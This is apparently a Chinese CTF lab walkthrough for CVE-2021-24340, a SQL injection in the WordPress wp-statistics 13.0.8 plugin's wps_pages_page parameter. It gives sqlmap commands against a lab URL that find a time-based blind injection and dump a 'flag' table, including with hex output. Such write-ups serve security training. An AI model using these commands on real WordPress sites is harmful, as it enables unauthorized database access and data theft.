春秋云境CVE-2021-24340（sqlmap）保姆级教学

1.阅读靶场介绍

这里我们可以得到的有用信息就是

WordPress VeronaLabs wp-statistics插件

版本是13.0.8

路径是wps_pages_page功能

方式是SQL注入漏洞

2.启动靶场

这里博主提供三种信息收集的方式

第一是直接输入靶场编号（百度，csdn，都可以找找看）

第二是ai输入介绍语句或者是靶场编号找对应的poc

第三是直接github找参考（也是可以从编号和介绍着手找对应的提示）

首先这个靶场是ai和github的结合，完成攻克的

接下里各位博主可以参考一下小弟的拙见

各位博主们可以直接按照我的方式去跑sqlmap

这里博主首先执行的是这个语句

sqlmap.py -u "https://eci-2zee5ezg9pcl17t4y0l3.cloudeci1.ichunqiu.com:80/wp-admin/admin.php?ID=1&page=wps_pages_page&type=1" --batch -D ctf --dump

结果是

我们能成功跑出来时间盲注的方法

接下来

我们可以跑这个语句

sqlmap.py -u "https://eci-2zee5ezg9pcl17t4y0l3.cloudeci1.ichunqiu.com:80/wp-admin/admin.php?ID=1&page=wps_pages_page&type=1" --batch -D ctf -T flag --dump

这里博主省略了爆库和爆表的过程直接就是--dump输出ctf这个库flag这个表的结果

但是结果并不尽人意

这里好像是通过某种方式进行加密了

我们接下来跑这个语句

sqlmap.py -u "https://eci-2zee5ezg9pcl17t4y0l3.cloudeci1.ichunqiu.com:80/wp-admin/admin.php?ID=1&page=wps_pages_page&type=1" --batch -D ctf -T flag --dump --hex

这里博主简单说一下就是变成十六进制然后看看能不能还原flag的操作

结果是

到此，我们又攻克一个靶场了

期待博主攻克什么靶场的话，欢迎留言

期待你的点赞，感谢你们宝贵的时间